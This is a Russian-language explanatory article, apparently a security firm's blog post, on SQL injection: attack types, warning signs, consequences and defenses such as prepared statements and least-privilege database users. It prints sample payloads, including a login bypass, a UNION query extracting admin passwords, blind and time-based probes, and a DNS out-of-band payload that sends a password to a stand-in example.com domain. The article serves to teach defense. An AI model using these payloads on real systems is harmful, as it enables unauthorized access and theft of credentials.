SQL-инъекция остается одной из самых опасных уязвимостей веб-приложений. Несмотря на известность проблемы, тысячи сайтов ежегодно страдают от таких атак из-за ошибок в коде, недостаточной проверки ввода или использования устаревших технологий.
В этой статье разберем, как работают SQL-инъекции, какие типы атак существуют, и как защитить свою систему от угроз.
Как работает SQL-инъекция
SQL-инъекция (SQLi) — это метод взлома, при котором злоумышленник внедряет вредоносный SQL-код в запросы приложения. Это позволяет обойти аутентификацию, получить доступ к данным или даже удалить информацию из базы.
Пример:
Представьте форму входа на сайте. Если разработчик не проверяет ввод пользователя, злоумышленник может ввести в поле логина:
' OR 1=1 –
Тогда SQL-запрос примет вид:
SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = '...'
Комментарий -- отключает проверку пароля, а условие 1=1 всегда истинно. В результате злоумышленник авторизуется как первый пользователь в таблице.
База данных (БД) — это структурированное хранилище информации, с которым взаимодействует веб-приложение через SQL-запросы.
Если код приложения не фильтрует ввод пользователя, злоумышленник может модифицировать запросы и получить контроль над БД.
Признаки SQLi-атаки:
-
Необычные ошибки базы данных (например, сообщения с деталями структуры БД);
-
Появление данных, которых нет в интерфейсе (например, пароли в результатах поиска);
-
Медленная работа приложения (при слепых атаках с задержками);
-
Неожиданные изменения в базе (удаление записей, добавление новых пользователей).
Типы SQL-инъекций
Атаки делятся на несколько типов в зависимости от метода внедрения и способа извлечения данных.
1. Классическая (In-Band или Union-based)
Злоумышленник использует оператор UNION для объединения результатов основного запроса с данными из других таблиц.
Пример уязвимого кода на PHP:
$id = $_GET['id'];
$query = "SELECT name, email FROM users WHERE id = $id";
Если в параметр id передать 1 UNION SELECT username, password FROM admins, запрос вернет логины и пароли администраторов.
Нюансы:
Для успешной атаки нужно знать структуру БД.
2. Error-based
Атакующий провоцирует ошибки в СУБД, чтобы получить информацию о структуре базы.
Пример для MySQL:
' AND CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT) --
В ответе появится сообщение об ошибке, например:
Ошибка: невозможно преобразовать "users" к типу integer
Так злоумышленник узнает название таблицы users.
Как это работает:
-
Злоумышленник вставляет код, вызывающий ошибку с полезными данными.
-
Сервер возвращает сообщение, раскрывающее структуру БД.
3. Boolean-based
При слепой атаке (Blind SQLi) данные извлекаются через анализ логических ответов (true/false).
Пример для проверки пароля:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1) = 'a' --
Если первый символ пароля пользователя с id=1 равен a, приложение вернет корректный ответ. Иначе — ошибку или пустой результат.
Особенности:
4. Time-based
Атакующий определяет успешность запроса по задержке ответа.
Пример для MySQL:
' AND IF(SLEEP(5), 1, 0) --
Если условие истинно, сервер «заснет» на 5 секунд. Это помогает подтвердить уязвимость даже без видимых ошибок.
Где применяется:
5. Out-of-Band
Данные передаются через внешние каналы (DNS, HTTP-запросы).
Пример для MySQL:
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.example.com\\')) --
Сервер отправит запрос к домену пароль.example.com, и злоумышленник перехватит пароль через DNS-логи.
Преимущества метода:
Последствия SQL-инъекций
Утечка конфиденциальных данных:
-
Логины, пароли, платежные реквизиты.
-
Персональные данные пользователей (адреса, телефоны).
Изменение или удаление данных:
Получение прав администратора:
Компрометация сервера:
Репутационные потери:
Как защититься от SQL-инъекций?
1. Используйте параметризованные запросы
Подготовленные выражения (prepared statements) отделяют код от данных.
Пример на Python:
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Преимущества:
2. Валидируйте и санируйте ввод
-
Запрещайте специальные символы (например, кавычки) в полях ввода.
-
Используйте белые списки для полей с ограниченным набором значений (например, номера телефонов).
Пример санации на PHP:
$username = mysqli_real_escape_string($conn, $_POST['username']);
3. Ограничивайте права доступа
-
Создайте отдельного пользователя БД с минимальными привилегиями.
-
Запретите доступ к системным таблицам и функциям (например, DROP TABLE).
Пример для MySQL:
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON database.* TO 'app_user'@'localhost';
4. Регулярно обновляйте ПО
-
Устанавливайте патчи для СУБД (MySQL, PostgreSQL).
-
Обновляйте фреймворки (Laravel, Django), где исправлены известные уязвимости.
5. Проводите аудит кода
Сравнение типов SQL-инъекций
Дополнительные меры защиты:
-
Web Application Firewall (WAF): Блокирует подозрительные запросы.
-
Хранимые процедуры: Ограничивают прямой доступ к таблицам.
-
Логирование: Фиксируйте все необычные запросы для анализа.
-
QA-процессы: Включение тестирования на уязвимость к SQL-инъекциям в функциональное тестирование.
SQL-инъекции — не пережиток, а реальная угроза. Чтобы избежать атак, соблюдайте правила безопасной разработки, проверяйте код и обучайте команду. Помните: защита данных пользователей — это ответственность каждого разработчика. Регулярное тестирование и следование рекомендациям из этой статьи снизят риски до минимума.
Чтобы протестировать ваши базы данных на уязвимость к SQL-инъекциям — пообщайтесь с нашими специалистами на
бесплатной консультации.